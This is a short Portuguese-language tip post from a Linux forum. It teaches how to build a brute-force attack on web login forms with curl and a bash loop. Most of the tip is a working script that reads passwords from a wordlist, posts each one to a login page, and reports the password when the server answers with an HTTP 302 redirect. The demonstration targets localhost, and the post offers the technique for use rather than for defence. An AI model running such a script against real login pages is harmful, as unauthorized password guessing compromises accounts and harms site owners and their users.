cURL - Brute-force em aplicações Web

Publicado por Perfil removido em 01/05/2013

[ Hits: 11.638 ]

 


cURL - Brute-force em aplicações Web



Estava pesquisando sobre o cURL, e tive a ideia de fazer um brute-force em shell script, mas como eu já fiz isso, resolvi somente testar os comandos.

Primeiro, iremos ver algumas opções de linha de comando do cURL:

curl -h
Usage: curl [options...] <url>
 -F/--form <name=content> Specify HTTP multipart POST data (H)
 -o/--output <file> Write output to <file> instead of stdout
 -s/--silent        Silent mode. Don't output anything
 -w/--write-out <format> What to output after completion

Ressaltei essas funções, pois serão necessárias para o ataque de brute-force.

Entendo as opções:

1. As opções "-s" e "-o" são para não exibirem o conteúdo HTML do request; iremos mandar essa saída de comando para o /dev/null.

2. O comando "-F" funciona para enviar os parâmetros através de "POST request".

Exemplo:

curl -F teste=enviando-post localhost/teste.php
3. E por último, a opção "-w", usaremos essa opção para descobrir o status code do request, levando em consideração que a maioria dos sistemas de login, quando se faz o login corretamente, redirecionam para outra página (302).

Exemplo:

curl -w "%{http_code}" localhost/lol
No final da saída do comando, obtemos o número 404 (Not Found).

Fazendo o ataque

Agora iremos proceder para o ataque de brute-force. Primeiro, temos que saber quais os nomes dos campos que iremos enviar pelo POST request.

Exemplo: login, password, log, passwd, user, etc.

Tendo essas informações, iremos transformar a saída do comando em uma variável.

Exemplo:

curl -s -o /dev/null -F login=mmxm -F pass=123456 -w "%{http_code}" localhost/login.php
A saída do comando foi 302 (redirecionamento), iremos guardar esse saída na variável "login":

login=$(curl -s -o /dev/null -F login=mmxm -F pass=123456 -w "%{http_code}" localhost/login.php)

Agora, para proceder com o ataque de "word list" iremos usar o "for" para ler um arquivo linha por linha.

Exemplo:

for i in `cat /etc/passwd`;do echo $i; done

Nosso comando final ficará assim:
for i in `cat wordlist.txt`
do
login=$(curl -s -o /dev/null -F login=mmxm -F pass=$i -w "%{http_code}" localhost/login.php)
if [ $login '==' "302" ]
then
echo "Password: $i"
break
else
echo "Trying: $i"
fi
done

Pronto, você já estará fazendo um ataque de brute-force através de uma "word list", usando o terminal.

Espero que tenham gostado da dica.
[]'s

Dica também publicada em:
Outras dicas deste autor

Ubuntu 10.10: Resolvendo problema com Empathy

Desvendando os acrônimos do Linux

Instalando o sysinfo no Mandriva One e superior

Fazer funcionar a "rodinha" (scroll) do mouse PS/2 Slackware 12

Acessando SFTP em modo gráfico com o Konqueror

Leitura recomendada

Debug em Shell Scripts

Lendo registros formatados de arquivo de texto em bash

Atualizando o Ubuntu com uma linha

Como obter informações sobre o sistema com inxi

Conversão de vídeo escalonada ( batch ) em diferentes formatos

  

Comentários

Nenhum comentário foi encontrado.



Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner
Linux banner
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts